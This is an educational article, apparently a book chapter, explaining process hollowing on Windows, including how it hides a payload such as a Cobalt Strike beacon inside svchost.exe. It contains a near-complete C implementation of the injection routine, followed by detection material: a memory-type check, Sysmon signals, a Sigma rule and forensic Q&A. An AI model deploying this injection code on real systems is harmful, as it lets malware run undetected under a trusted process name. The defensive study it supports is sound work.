Process Hollowing
Replacing a suspended process's executable image with malicious code — the CREATE_SUSPENDED trick, the full implementation steps, why it evades process-name-based detection, and cross-view memory analysis to catch it
Task Manager shows svchost.exe running. The process image path in the PEB still says C:\Windows\System32\svchost.exe. But its memory at the svchost ImageBase doesn't contain the real svchost code — it contains a Cobalt Strike beacon. The process was hollowed: spawned suspended, real image unmapped, payload written at the same base address, then resumed. The process name is clean; only the actual memory content reveals the swap. This is process hollowing (T1055.012).
How Process Hollowing Works
Step 1: CreateProcess with CREATE_SUSPENDED
Malware Target (svchost.exe, suspended)
────── ───────────────────────────────
CreateProcessW(svchost, ...,
CREATE_SUSPENDED, ...) ─────► svchost.exe loaded, but
primary thread NOT started yet
Image at preferred base (or ASLR base)
Step 2: Unmap the original image from the suspended process
NtUnmapViewOfSection(
hProcess, imageBase) ────────► svchost.exe PE unmapped from memory
Address range now MEM_FREE
Step 3: Allocate space at the same base and write payload PE
VirtualAllocEx(hProcess,
payloadBase, payloadSize,
MEM_COMMIT|MEM_RESERVE,
PAGE_EXECUTE_READWRITE) ─────► RWX region at target's preferred base
WriteProcessMemory(headers)
WriteProcessMemory(sections) ──► Payload PE written into target
Step 4: Relocate if necessary + fix PEB ImageBaseAddress
ReadProcessMemory(PEB) ─────────► PEB.ImageBaseAddress = old base
WriteProcessMemory(PEB + 0x10,
payloadBase) ────────────────► PEB.ImageBaseAddress = payload base
Step 5: Fix thread context entry point
GetThreadContext(hThread)
Modify context.Rcx = payload EP (AddressOfEntryPoint + payloadBase)
SetThreadContext(hThread) ───────► Thread will start at payload EP
Step 6: ResumeThread
ResumeThread(hThread) ──────────► Payload runs as svchost.exe
Implementation
// Process hollowing — conceptual implementation
// Requires NtUnmapViewOfSection from ntdll (not in SDK headers)
typedef NTSTATUS (NTAPI *pNtUnmapViewOfSection)(HANDLE, PVOID);
BOOL ProcessHollow(const wchar_t *legitExePath, PBYTE payloadBuf, SIZE_T payloadSize)
{
// Step 1: spawn the host process suspended
STARTUPINFOW si = { sizeof(si) };
PROCESS_INFORMATION pi;
if (!CreateProcessW(legitExePath, NULL, NULL, NULL, FALSE,
CREATE_SUSPENDED, NULL, NULL, &si, &pi))
return FALSE;
// Step 2: find and unmap the original image
CONTEXT ctx = {}; ctx.ContextFlags = CONTEXT_FULL;
GetThreadContext(pi.hThread, &ctx);
// On x64: PEB address is at Rdx after process creation (undocumented but stable)
// Read PEB.ImageBaseAddress (PEB + 0x10 on x64)
PVOID pebBase; DWORD64 imageBase;
ReadProcessMemory(pi.hProcess,
(void*)(ctx.Rdx), &pebBase, sizeof(pebBase), NULL);
ReadProcessMemory(pi.hProcess,
(char*)pebBase + 0x10, &imageBase, sizeof(imageBase), NULL);
// Call NtUnmapViewOfSection to unmap the original image
pNtUnmapViewOfSection NtUnmap = (pNtUnmapViewOfSection)
GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtUnmapViewOfSection");
NtUnmap(pi.hProcess, (void*)imageBase);
// Step 3: allocate and write payload
PIMAGE_NT_HEADERS pNT = (PIMAGE_NT_HEADERS)(payloadBuf +
((PIMAGE_DOS_HEADER)payloadBuf)->e_lfanew);
DWORD64 preferredBase = pNT->OptionalHeader.ImageBase;
SIZE_T imageSize = pNT->OptionalHeader.SizeOfImage;
PVOID pAlloc = VirtualAllocEx(pi.hProcess, (void*)preferredBase,
imageSize, MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE);
if (!pAlloc) pAlloc = VirtualAllocEx(pi.hProcess, NULL,
imageSize, MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE);
// Write PE headers
WriteProcessMemory(pi.hProcess, pAlloc, payloadBuf,
pNT->OptionalHeader.SizeOfHeaders, NULL);
// Write each section
PIMAGE_SECTION_HEADER pSec = IMAGE_FIRST_SECTION(pNT);
for (int i = 0; i < pNT->FileHeader.NumberOfSections; i++, pSec++) {
PVOID dst = (char*)pAlloc + pSec->VirtualAddress;
PVOID src = payloadBuf + pSec->PointerToRawData;
WriteProcessMemory(pi.hProcess, dst, src, pSec->SizeOfRawData, NULL);
}
// Step 4: update PEB ImageBaseAddress
WriteProcessMemory(pi.hProcess, (char*)pebBase + 0x10,
&pAlloc, sizeof(pAlloc), NULL);
// Step 5: update thread context (entry point)
DWORD64 epRva = pNT->OptionalHeader.AddressOfEntryPoint;
ctx.Rcx = (DWORD64)pAlloc + epRva;
SetThreadContext(pi.hThread, &ctx);
// Step 6: resume
ResumeThread(pi.hThread);
CloseHandle(pi.hThread);
CloseHandle(pi.hProcess);
return TRUE;
}
Why Basic Detection Misses It
| Detection method | Result | Why it fails |
|---|---|---|
| Process name check | Sees "svchost.exe" | Process name comes from the original CreateProcess call, not the code running |
| Process image path | Shows real svchost.exe path | PEB.ImageBaseAddress may still point to the written payload at the original base |
| Import scan via API | Shows svchost imports | Some tools read imports from the image path on disk, not from memory |
| Code signing check | Shows svchost is signed | Signature check is against the file on disk; the in-memory code was never signed |
PE-Sieve Detection
PE-sieve (and its equivalent logic in modern EDRs) detects hollowing by comparing in-memory PE sections with the on-disk image:
- Enumerate all running processes.
- For each process, find its image base from the PEB.
- Read the PE header from memory; extract module path from PEB.FullDllName.
- Read the same sections from the on-disk file.
- Compare .text section bytes: memory vs disk. Differences indicate code replacement or unpacking.
- Check the VAD type for the executable region: MEM_IMAGE (file-backed) vs MEM_PRIVATE (anonymous allocation). A hollowed process with NtUnmapViewOfSection + VirtualAllocEx has MEM_PRIVATE for its image region — a strong indicator.
# Quick Python: flag processes where image region is MEM_PRIVATE
# Normal: the .exe's image region is MEM_IMAGE (file-backed)
# Hollowed: NtUnmapViewOfSection removed the file-backed mapping;
# VirtualAllocEx created MEM_PRIVATE at the same base
import ctypes, ctypes.wintypes
MEM_PRIVATE = 0x20000
MEM_IMAGE = 0x1000000
MEM_COMMIT = 0x1000
class MEMORY_BASIC_INFORMATION(ctypes.Structure):
_fields_ = [
("BaseAddress", ctypes.c_uint64),
("AllocationBase", ctypes.c_uint64),
("AllocationProtect", ctypes.c_uint32),
("_pad", ctypes.c_uint32),
("RegionSize", ctypes.c_uint64),
("State", ctypes.c_uint32),
("Protect", ctypes.c_uint32),
("Type", ctypes.c_uint32),
("_pad2", ctypes.c_uint32),
]
def is_image_base_private(hProc: int, image_base: int) -> bool:
mbi = MEMORY_BASIC_INFORMATION()
ctypes.windll.kernel32.VirtualQueryEx(
hProc, ctypes.c_void_p(image_base),
ctypes.byref(mbi), ctypes.sizeof(mbi))
return mbi.State == MEM_COMMIT and mbi.Type == MEM_PRIVATE
Sysmon Detection Signatures
# Sysmon Event ID 8 (CreateRemoteThread) — from the suspended process resumed:
# No CreateRemoteThread is used in classic hollowing (it uses SetThreadContext
# on the original suspended thread). So the main Sysmon signal is:
# Event ID 1 (Process Create):
# Command line: svchost.exe spawned WITHOUT normal parent (services.exe)
# OR spawned by a non-system process
# Event ID 10 (Process Access):
# GrantedAccess includes VM_OPERATION + VM_WRITE + THREAD_SET_CONTEXT
# What PE-sieve and advanced EDRs check:
# - MEM_PRIVATE at image base (Chapter 17)
# - .text section hash mismatch (memory vs disk)
# - PEB ImageBaseAddress != actual first MEM_IMAGE region
title: Process Hollowing — Suspicious Access to Suspended Process
logsource:
category: process_access
product: windows
detection:
selection:
GrantedAccess|contains:
- '0x1fffff' # PROCESS_ALL_ACCESS
TargetImage|endswith:
- '\svchost.exe'
- '\explorer.exe'
- '\notepad.exe'
filter_legitimate:
SourceImage|startswith:
- 'C:\Windows\System32\services.exe'
condition: selection and not filter_legitimate
Q & A
If the hollowed process's PEB still shows the legitimate path, why would memory forensics tools ever see the payload?
Memory forensics tools (Volatility, Rekall, pe-sieve) use multiple independent views of process memory and compare them. The key technique is cross-view analysis between the PEB (process-reported data) and the physical page tables / VAD tree (kernel-reported data): (1) VAD Type comparison: the VAD entry for the process's image range says whether the region is MEM_IMAGE (file-backed) or MEM_PRIVATE (anonymous). After hollowing with NtUnmapViewOfSection + VirtualAllocEx, the image region becomes MEM_PRIVATE. But the PEB ImageBaseAddress still points to that base. The mismatch — PEB says image at base X, VAD says base X is anonymous private memory, not file-backed — is the hallmark of hollowing. (2) Section content comparison: forensics tools read the section content from the process's memory pages, then load the legitimate svchost.exe from disk and compare section-by-section. The .text section of the hollowed process contains the payload — bytes that don't match the real svchost .text. (3) Even if the attacker uses VirtualAllocEx at the same base address the original image was at, the VAD type is still MEM_PRIVATE. The only way to get MEM_IMAGE is to map a real PE file through a section object — and that would mean writing a signed/known file rather than arbitrary shellcode. HVCI enforcement makes this difficult to exploit: code must be signed to be marked executable in a mapped section.
What is process overwriting (module overwriting) and how does it differ from classic hollowing?
Process overwriting (sometimes called module overwriting or PE overwriting) is a variant that avoids NtUnmapViewOfSection entirely. Instead of unmapping the original image and replacing it with an anonymous allocation, the attacker: (1) Creates the process suspended (same as hollowing). (2) Opens the process's image as a file-backed writable section, or directly patches the in-memory image using WriteProcessMemory on the existing MEM_IMAGE region. (3) Overwrites the existing MEM_IMAGE sections with payload code. The process's image pages are now marked copy-on-write (CoW). When the pages are modified, Windows creates private copies — but the VAD entry remains MEM_IMAGE (file-backed), because the section object still exists for the original file. This defeats the "MEM_PRIVATE at image base" detection signal — the region appears file-backed. Detection for this variant: hash comparison of the .text section bytes against the on-disk file. The in-memory bytes differ from disk, even though the region type is still MEM_IMAGE. PE-sieve specifically checks this. The deeper evasion challenge: an attacker might try module stomping (Chapter 20) to write into a legitimately-loaded copy of a system DLL rather than the main executable, making the target of the hash comparison harder to identify.